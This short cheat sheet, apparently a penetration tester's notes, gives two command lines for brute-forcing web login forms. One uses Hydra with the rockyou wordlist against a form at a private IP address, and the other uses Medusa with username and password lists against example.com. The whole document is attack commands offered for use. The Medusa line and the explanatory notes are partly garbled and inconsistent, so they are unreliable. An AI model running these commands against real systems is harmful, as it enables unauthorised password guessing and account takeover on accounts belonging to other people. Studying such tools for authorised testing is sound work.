1. Hydra:
   hydra 10.11.0.22 http-form-post "/form/frontpage.php:user=admin&pass=^PASS^:INVALID LOGIN" -l admin -P /usr/share/seclists/rockyou.txt -vV -f (change the user and pass parameter where appropriate. INVALID LOGON is the error message after incorrect password)
2. Medusa:
   medusa -h example.com -U usernames.txt -P passwords.txt -M http -m FORM:/login.php:username_field=password_field -t 5
   (Suitable for form login. Replace -u with -U if have wordlist. dir with the directory path to crack.)